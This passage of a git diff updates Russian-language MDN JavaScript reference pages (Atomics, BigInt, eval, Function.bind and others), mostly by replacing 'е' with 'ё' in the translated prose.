+<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.add()</code></strong> добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдёт, пока изменённое значение не будет записано обратно.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add <dl> <dt><code>typedArray</code></dt> - <dd>Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd> + <dd>Разделённый массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd> <dt><code>index</code></dt> <dd>Позиция в <code>typedArray</code> для добавления <code>value</code>.</dd> <dt><code>value</code></dt> diff --git a/files/ru/web/javascript/reference/global_objects/atomics/index.html b/files/ru/web/javascript/reference/global_objects/atomics/index.html index d51c14af2e..7411110086 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics <h3 id="Атомарные_операции">Атомарные операции</h3> -<p>Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнет свою работу, и они не будут прерваны.</p> +<p>Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнёт свою работу, и они не будут прерваны.</p> <dl> <dt>{{jsxref("Atomics.add()")}}</dt> @@ -50,12 +50,12 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics <h3 id="Wait_и_notify">Wait и notify</h3> -<p><code>wait()</code> и <code>wake()</code> методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определенное состояние не станет true, и обычно используется как блокирующие конструкции.</p> +<p><code>wait()</code> и <code>wake()</code> методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определённое состояние не станет true, и обычно используется как блокирующие конструкции.</p> <dl> <dt>{{jsxref("Atomics.wait()")}}</dt> <dd> - <p>Проверяет, содержится в указанной позиции массива все еще представленное значение и спит в ожидании или тайм-аут. Возвращает <code>"ok"</code>, <code>"not-equal" </code>или <code>"timed-out"</code>. Если ожидание не разрешено в вызывающем агенте, тогда выбросит ошибку исключения (большинство браузеров не разрешают <code>wait()</code> в главном потоке браузера).</p> + <p>Проверяет, содержится в указанной позиции массива все ещё представленное значение и спит в ожидании или тайм-аут. Возвращает <code>"ok"</code>, <code>"not-equal" </code>или <code>"timed-out"</code>. Если ожидание не разрешено в вызывающем агенте, тогда выбросит ошибку исключения (большинство браузеров не разрешают <code>wait()</code> в главном потоке браузера).</p> </dd> <dt>{{jsxref("Atomics.wake()")}}</dt> <dd>Пробуждает некоторых агентов, которые спят в очереди ожидания в указанной позиции массива. Возвращает количество агентов, которые были разбужены.</dd> @@ -145,7 +145,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics <h2 id="Похожие_заметки">Похожие заметки</h2> -<p>До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и семантика не были еще реализованы. Изменения между Firefox v. 46 и v. 48:</p> +<p>До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и семантика не были ещё реализованы. Изменения между Firefox v. 46 и v. 48:</p> <ul> <li>Методы <code>Atomics.futexWakeOrRequeue()</code> и <code>Atomics.fence()</code> полностью удалены ({{bug(1259544)}} и {{bug(1225028)}}).</li> diff --git a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html index d3a9bbd3b4..05a2727be0 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub --- <div>{{JSRef}}</div> -<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.sub()</code></strong> вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.</p> +<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.sub()</code></strong> вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдёт, пока изменённое значение не будет записано обратно.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub <dl> <dt><code>typedArray</code></dt> - <dd>Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd> + <dd>Разделённый массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd> <dt><code>index</code></dt> <dd>Позиция в <code>typedArray</code> для добавления <code>value</code>.</dd> <dt><code>value</code></dt> diff --git a/files/ru/web/javascript/reference/global_objects/bigint/index.html b/files/ru/web/javascript/reference/global_objects/bigint/index.html index c8e43137bf..108df340f7 100644 --- a/files/ru/web/javascript/reference/global_objects/bigint/index.html +++ b/files/ru/web/javascript/reference/global_objects/bigint/index.html @@ -10,14 +10,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt --- <p>{{JSRef}}</p> -<p><strong><code>BigInt</code></strong> это встроенный объект, который предоставляет способ представлять целые числа больше 2<sup>53</sup> - 1, наибольшего числа, которое JavaScript может надежно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.</p> +<p><strong><code>BigInt</code></strong> это встроенный объект, который предоставляет способ представлять целые числа больше 2<sup>53</sup> - 1, наибольшего числа, которое JavaScript может надёжно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.</p> <dl> </dl> <h2 id="Описание">Описание</h2> -<p><code>BigInt</code> создается путем добавления <code>n</code> в конец целочисленного литерала — <code>10n</code> — или вызовом функции <code>BigInt()</code>.</p> +<p><code>BigInt</code> создаётся путём добавления <code>n</code> в конец целочисленного литерала — <code>10n</code> — или вызовом функции <code>BigInt()</code>.</p> <pre class="brush: js">const theBiggestInt = 9007199254740991n; @@ -44,7 +44,7 @@ const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111" <h3 id="Тип">Тип</h3> -<p>При проверке с использованием оператора <code>typeof</code>, <code>BigInt</code> выдает тип <code>"bigint"</code>:</p> +<p>При проверке с использованием оператора <code>typeof</code>, <code>BigInt</code> выдаёт тип <code>"bigint"</code>:</p> <pre class="brush: js">typeof 1n === 'bigint'; // true typeof BigInt('1') === 'bigint'; // true @@ -57,7 +57,7 @@ typeof BigInt('1') === 'bigint'; // true <h3 id="Операторы">Операторы</h3> -<p>Следующие операторы могут использоваться с <code>BigInt</code> (или объектом-оберткой <code>BigInt</code>): <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p> +<p>Следующие операторы могут использоваться с <code>BigInt</code> (или объектом-обёрткой <code>BigInt</code>): <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p> <p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Побитовые операции</a> также поддерживаются, кроме <code>>>></code> (сдвиг вправо с заполнением нулями).</p> @@ -91,7 +91,7 @@ bigN * -1n <p>Оператор <code>/</code> также работает, как и ожидалось, с целыми числами. Однако, поскольку это BigInt, эта операция будет округляться в меньшую сторону, то есть она не будет возвращать какие-либо дробные цифры.</p> <div class="blockIndicator warning"> -<p>Результат операции с дробным результатом будет округлен в <strong><u>меньшую</u></strong> сторону при использовании <code>BigInt</code>.</p> +<p>Результат операции с дробным результатом будет округлён в <strong><u>меньшую</u></strong> сторону при использовании <code>BigInt</code>.</p> </div> <pre class="brush: js">const expected = 4n / 2n; @@ -138,7 +138,7 @@ mixed.sort(); // ↪ [-12n, 0, 0n, 10, 4n, 4, 6] </pre> -<p>Обратите внимание, что сравнения с <code>обьектом</code>-оберткой <code>BigInt</code> действуют как с другими объектами, указывая на равенство только когда сравнивается идентичный экземпляр объекта:</p> +<p>Обратите внимание, что сравнения с <code>обьектом</code>-обёрткой <code>BigInt</code> действуют как с другими объектами, указывая на равенство только когда сравнивается идентичный экземпляр объекта:</p> <pre class="brush: js">0n === Object(0n); // false Object(0n) === Object(0n); // false @@ -236,7 +236,7 @@ Boolean(12n) <h2 id="Примеры">Примеры</h2> -<h3 id="Расчет_простых_чисел">Расчет простых чисел</h3> +<h3 id="Расчёт_простых_чисел">Расчёт простых чисел</h3> <pre class="brush: js">// Возвращает true, если BigInt — простое число function isPrime(p) { diff --git a/files/ru/web/javascript/reference/global_objects/date/index.html b/files/ru/web/javascript/reference/global_objects/date/index.html index a6ce5896e1..4eb5876bd2 100644 --- a/files/ru/web/javascript/reference/global_objects/date/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/index.html @@ -181,7 +181,7 @@ yourFunctionReturn = printElapsedTime(yourFunction); <pre class="notranslate"><code>var seconds = Math.floor(Date.now() / 1000);</code></pre> -<p>В этом случае важно возвращать только целое число (так что простое деление не подойдет), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).</p> +<p>В этом случае важно возвращать только целое число (так что простое деление не подойдёт), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).</p> <h2 id="Specifications" name="Specifications">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html index 3cf8647e14..e9718854f2 100644 --- a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновленной датой.</p> +<p>Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновлённой датой.</p> <h2 id="Description" name="Description">Описание</h2> diff --git a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html index f603359b99..a4991d3e79 100644 --- a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString <p>Нет.</p> <h2 id="Description" name="Description">Описание</h2> -<p>Значение, возвращаемое методом <code>toUTCString()</code>, является человеко-читаемой строкой в часовом поясе <abbr title="Всемирное координированное время">UTC</abbr>. Формат возвращаемого значения зависит от платформы. Наиболее распространенным значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.</p> +<p>Значение, возвращаемое методом <code>toUTCString()</code>, является человеко-читаемой строкой в часовом поясе <abbr title="Всемирное координированное время">UTC</abbr>. Формат возвращаемого значения зависит от платформы. Наиболее распространённым значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.</p> <h2 id="Examples" name="Examples">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html index 8e7562ad05..98b6336f42 100644 --- a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html +++ b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent <h3 id="Исключения">Исключения</h3> -<p>При неправильном использовании выдает исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").</p> +<p>При неправильном использовании выдаёт исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").</p> <h2 id="Description" name="Description">Описание</h2> diff --git a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html index 9b6c6d7382..65e8cfda73 100644 --- a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html +++ b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html @@ -82,7 +82,7 @@ console.log(encodeURIComponent('\uD800')); // один низкий суррогат бросит "URIError: malformed URI sequence" console.log(encodeURIComponent('\uDFFF'));</code></pre> -<p>Также заметим, что следуя наиболее свежей <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a> для URL, которая делает квадратные скобки защищенными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:</p> +<p>Также заметим, что следуя наиболее свежей <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a> для URL, которая делает квадратные скобки защищёнными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:</p> <pre class="brush: js">function fixedEncodeURI (str) { return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']'); diff --git a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html index a0c6b028db..7493e53632 100644 --- a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html +++ b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent --- <div>{{jsSidebar("Objects")}}</div> -<p><code><strong>encodeURIComponent()</strong></code> - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определенной последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8 (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).</p> +<p><code><strong>encodeURIComponent()</strong></code> - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определённой последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8 (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/error/index.html b/files/ru/web/javascript/reference/global_objects/error/index.html index 90a108b2a4..6ac3ffc666 100644 --- a/files/ru/web/javascript/reference/global_objects/error/index.html +++ b/files/ru/web/javascript/reference/global_objects/error/index.html @@ -37,7 +37,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Error <h3 id="Использование_как_функции">Использование как функции</h3> -<p>Когда <code>Error</code> используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает <code>Error</code> объект. Следовательно простой вызов <code>Error</code> произведет тот же результат, что и конструктор <code>Error</code> объявленный через <code>new</code>.</p> +<p>Когда <code>Error</code> используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает <code>Error</code> объект. Следовательно простой вызов <code>Error</code> произведёт тот же результат, что и конструктор <code>Error</code> объявленный через <code>new</code>.</p> <pre><code>// this: const x = Error('I was created using a function call!'); diff --git a/files/ru/web/javascript/reference/global_objects/escape/index.html b/files/ru/web/javascript/reference/global_objects/escape/index.html index edc41f8259..05ae768fd4 100644 --- a/files/ru/web/javascript/reference/global_objects/escape/index.html +++ b/files/ru/web/javascript/reference/global_objects/escape/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/escape --- <div>{{jsSidebar("Objects")}} {{deprecated_header}}</div> -<p>Устаревший метод <code><strong>escape()</strong></code> возвращает новую строку, в которой определенные символы заменены шестнадцатеричной управляющей последовательностью. Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.</p> +<p>Устаревший метод <code><strong>escape()</strong></code> возвращает новую строку, в которой определённые символы заменены шестнадцатеричной управляющей последовательностью. Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/eval/index.html b/files/ru/web/javascript/reference/global_objects/eval/index.html index 0c32530435..49bec21796 100644 --- a/files/ru/web/javascript/reference/global_objects/eval/index.html +++ b/files/ru/web/javascript/reference/global_objects/eval/index.html @@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval <p><code>eval()</code> можно использовать для вычисления значения арифметического выражения, записанного в строковом виде, на более поздней стадии исполнения. Предположим, существует переменная <code>x</code>. Можно отложить вычисление выражения, в котором содержится <code>х</code>, если присвоить переменной это выражение в виде строки (допустим, "<code>3 * x + 2</code>"), а затем вызвать <code>eval()</code> в более поздней точке кода.</p> -<p>Если аргумент, переданный <code>eval()</code>, не является строкой, <code>eval() </code>возвращает его неизменным. В следующем примере определен конструктор <code>String</code>, и <code>eval()</code> не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа <code>String</code>.</p> +<p>Если аргумент, переданный <code>eval()</code>, не является строкой, <code>eval() </code>возвращает его неизменным. В следующем примере определён конструктор <code>String</code>, и <code>eval()</code> не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа <code>String</code>.</p> <pre class="brush:js notranslate">eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2" eval("2 + 2"); // возвращает 4 @@ -62,7 +62,7 @@ eval(expression.toString()); var x = 2, y = 4; console.log(eval("x + y")); // Прямой вызов, использует локальную области видимости, результат - 6 var geval = eval; - console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определен + console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определён } </pre> @@ -93,7 +93,7 @@ var result = obj[ propname ]; // obj[ "a" ] то же, что и obj.a <h3 id="Используйте_функции_вместо_исполнения_фрагментов_кода">Используйте функции вместо исполнения фрагментов кода</h3> -<p>У JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">функции первого класса</a>, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учетом этого, так что вы можете (и вам следует) писать:</p> +<p>У JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">функции первого класса</a>, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учётом этого, так что вы можете (и вам следует) писать:</p> <pre class="brush: js notranslate">// вместо setTimeout(" ... ", 1000) : setTimeout(function() { ... }, 1000); @@ -111,7 +111,7 @@ elt.addEventListener("click", function() { ... } , false); </pre> <h3 id="Передавайте_данные_вместо_кода">Передавайте данные вместо кода</h3> -<p>К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определенные в <a href="/en-US/docs/XPath" title="XPath">XPath</a>, а не JS коде.</p> +<p>К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определённые в <a href="/en-US/docs/XPath" title="XPath">XPath</a>, а не JS коде.</p> <h3 id="Выполняйте_код_с_ограниченными_правами">Выполняйте код с ограниченными правами</h3> @@ -132,7 +132,7 @@ eval(z); // вернёт 42 <h3 id="Использование_eval_для_исполнения_строки_содержащей_операторы_JavaScript">Использование <code>eval</code> для исполнения строки, содержащей операторы JavaScript</h3> -<p>Следующий пример использует <code>eval()</code> для получения значения выражения <code>str</code>. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, <code>eval()</code> будет считать выражения выполненными, а также это установит значение выражению переменной z и вернет его.</p> +<p>Следующий пример использует <code>eval()</code> для получения значения выражения <code>str</code>. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, <code>eval()</code> будет считать выражения выполненными, а также это установит значение выражению переменной z и вернёт его.</p> <pre class="brush:js notranslate">var x = 5; var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; "; @@ -141,7 +141,7 @@ console.log("z is ", eval(str));</pre> <h3 id="Последнее_выражение_выполняется">Последнее выражение выполняется</h3> -<p><code>eval()</code> вернет значение последнего выполняемого выражения</p> +<p><code>eval()</code> вернёт значение последнего выполняемого выражения</p> <pre class="brush:js notranslate">var str = "if ( a ) { 1+1; } else { 1+2; }"; var a = true; @@ -202,7 +202,7 @@ var fct2 = eval(fctStr2) // вернёт функцию <h3 id="Gecko-специфичные_замечания">Gecko-специфичные замечания</h3> <ul> - <li>Исторически <code>eval()</code> имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удален из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.</li> + <li>Исторически <code>eval()</code> имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удалён из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.</li> </ul> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/javascript/reference/global_objects/float32array/index.html b/files/ru/web/javascript/reference/global_objects/float32array/index.html index dcd127face..f8fbb0c603 100644 --- a/files/ru/web/javascript/reference/global_objects/float32array/index.html +++ b/files/ru/web/javascript/reference/global_objects/float32array/index.html @@ -185,7 +185,7 @@ var z = new Float32Array(buffer, 0, 4); <h2 id="Заметки_по_совместимости">Заметки по совместимости</h2> -<p>Начиная с ECMAScript 2015 (ES6), <code>Float32Array</code> конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов <code>Float32Array</code> конструктора как функцию приведет к исключению {{jsxref("TypeError")}}.</p> +<p>Начиная с ECMAScript 2015 (ES6), <code>Float32Array</code> конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов <code>Float32Array</code> конструктора как функцию приведёт к исключению {{jsxref("TypeError")}}.</p> <pre class="brush: js example-bad">var dv = Float32Array([1, 2, 3]); // TypeError: calling a builtin Float32Array constructor diff --git a/files/ru/web/javascript/reference/global_objects/function/bind/index.html b/files/ru/web/javascript/reference/global_objects/function/bind/index.html index d153dc9e5c..78061cd192 100644 --- a/files/ru/web/javascript/reference/global_objects/function/bind/index.html +++ b/files/ru/web/javascript/reference/global_objects/function/bind/index.html @@ -32,18 +32,18 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind <h2 id="Description" name="Description">Описание</h2> -<p>Метод <code>bind()</code> создаёт новую "<strong>привязанную функцию</strong>" (<strong>ПФ</strong>). <strong>ПФ</strong> <span class="translation-chunk">- это "необычный </span> <span class="translation-chunk">функциональный объект" ( термин из </span> <strong>ECMAScript 6</strong> <span class="translation-chunk"> ), который является оберткой над исходным </span> <span class="translation-chunk">функциональным объектом. Вызов </span> <strong>ПФ</strong> <span class="translation-chunk"> приводит к исполнению кода обернутой функции.</span></p> +<p>Метод <code>bind()</code> создаёт новую "<strong>привязанную функцию</strong>" (<strong>ПФ</strong>). <strong>ПФ</strong> <span class="translation-chunk">- это "необычный </span> <span class="translation-chunk">функциональный объект" ( термин из </span> <strong>ECMAScript 6</strong> <span class="translation-chunk"> ), который является обёрткой над исходным </span> <span class="translation-chunk">функциональным объектом. Вызов </span> <strong>ПФ</strong> <span class="translation-chunk"> приводит к исполнению кода обёрнутой функции.</span></p> <p><strong>ПФ</strong> <span class="translation-chunk"> имеет следующие внутренние ( скрытые ) свойства:</span></p> <ul> <li><span class="translation-chunk"><strong>[[BoundTargetFunction]]</strong> - оборачиваемый (целевой ) </span> <span class="translation-chunk">функциональный </span><span class="translation-chunk">объект</span></li> - <li><span class="translation-chunk"><strong>[[BoundThis]]</strong> - значение, которое всегда передается в качестве значения <strong>this </strong>при вызове обернутой функции.</span></li> + <li><span class="translation-chunk"><strong>[[BoundThis]]</strong> - значение, которое всегда передаётся в качестве значения <strong>this </strong>при вызове обёрнутой функции.</span></li> <li><span class="translation-chunk"><strong>[[BoundArguments]] </strong>- список значений, элементы которого используются в качестве первого аргумента при вызове оборачиваемой функции.</span></li> <li><strong><span class="translation-chunk">[[</span>Call</strong><span class="translation-chunk"><strong>]] </strong>- внутренний метод. Выполняет код (функциональное выражение), связанный с функциональным объектом. </span></li> </ul> -<p><span class="translation-chunk">Когда <strong>ПФ </strong>вызывается, исполняется ее внутренний метод </span> <strong>[[Call]]</strong> <span class="translation-chunk"> со следующими аргументами </span> <strong>Call(<em>target</em>, <em>boundThis</em>, <em>args</em>).</strong></p> +<p><span class="translation-chunk">Когда <strong>ПФ </strong>вызывается, исполняется её внутренний метод </span> <strong>[[Call]]</strong> <span class="translation-chunk"> со следующими аргументами </span> <strong>Call(<em>target</em>, <em>boundThis</em>, <em>args</em>).</strong></p> <ul> <li><strong><em>target</em></strong> <span class="translation-chunk"> - <strong>[[BoundTargetFunction]]</strong>;</span></li> @@ -163,7 +163,7 @@ emptyObj.x + ',' + emptyObj.y; <h3 id="Example:_Creating_shortcuts" name="Example:_Creating_shortcuts">Пример: создание сокращений</h3> -<p>Метод <code>bind()</code> также полезен в случаях, если вы хотите создать сокращение для функции, требующей определенное значение <code>this</code>.</p> +<p>Метод <code>bind()</code> также полезен в случаях, если вы хотите создать сокращение для функции, требующей определённое значение <code>this</code>.</p> <p>Возьмём, например, метод {{jsxref("Array.prototype.slice")}}, который вы можете использовать для преобразования массивоподобного объекта в настоящий массив. Вы можете создать подобное сокращение:</p> diff --git a/files/ru/web/javascript/reference/global_objects/function/index.html b/files/ru/web/javascript/reference/global_objects/function/index.html index 4b6b4f5825..a097213c69 100644 --- a/files/ru/web/javascript/reference/global_objects/function/index.html +++ b/files/ru/web/javascript/reference/global_objects/function/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function <p>{{JSRef}}</p> -<p><strong><code>Function</code> constructor</strong> создает новый объект <code>Function</code>. Вызов <code>constructor</code> создает функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создает функции, которые выполняются только в глобальной области..</p> +<p><strong><code>Function</code> constructor</strong> создаёт новый объект <code>Function</code>. Вызов <code>constructor</code> создаёт функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создаёт функции, которые выполняются только в глобальной области..</p> <p>{{EmbedInteractiveExample("pages/js/function-constructor.html")}}</p> diff --git a/files/ru/web/javascript/reference/global_objects/function/name/index.html b/files/ru/web/javascript/reference/global_objects/function/name/index.html index 82a59765f2..b421c428a8 100644 --- a/files/ru/web/javascript/reference/global_objects/function/name/index.html +++ b/files/ru/web/javascript/reference/global_objects/function/name/index.html @@ -44,7 +44,7 @@ alert(doSomething.name); // выведет "doSomething" <h3 id="Предполагаемые_имена_функций">Предполагаемые имена функций</h3> -<p>Переменные и методы могут предположить название анонимной функции из ее синтаксической позиции (new in ECMAScript 2015).</p> +<p>Переменные и методы могут предположить название анонимной функции из её синтаксической позиции (new in ECMAScript 2015).</p> <pre class="brush: js">var f = function() {}; var object = { @@ -79,7 +79,7 @@ alert(object.someMethod.name); //someMethod <p>Для изменения name можно использовать {{jsxref("Object.defineProperty()")}}.</p> -<h3 id="Сокращенные_имена_методов">Сокращенные имена методов</h3> +<h3 id="Сокращённые_имена_методов">Сокращённые имена методов</h3> <pre class="brush: js"><code>var o = { foo(){} @@ -129,7 +129,7 @@ console.log(fooInstance.constructor.name); // logs "Foo"</code> } </code></pre> -<p>Со <code>static name()</code> методом <code>Foo.name</code> больше не содержит название класса, но отсылает к функции <code>name()</code>. Приведенное выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в ES5:</p> +<p>Со <code>static name()</code> методом <code>Foo.name</code> больше не содержит название класса, но отсылает к функции <code>name()</code>. Приведённое выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в ES5:</p> <pre><code>function Foo() {} Object.defineProperty(Foo, 'name', { writable: true }); @@ -189,7 +189,7 @@ if (b.constructor.name === 'Foo') { console.log('Oops!'); }</code></pre> -<p>В несжатой версии код выполняется ожидаемо <code>"'foo' is an instance of 'Foo'"</code>. В то время, как в сжатой версии он ведет себя иначе. Если вы полагаетесь на <code>Function.name</code>, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определенного имени.</p> +<p>В несжатой версии код выполняется ожидаемо <code>"'foo' is an instance of 'Foo'"</code>. В то время, как в сжатой версии он ведёт себя иначе. Если вы полагаетесь на <code>Function.name</code>, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определённого имени.</p> <table class="standard-table"> <tbody> diff --git 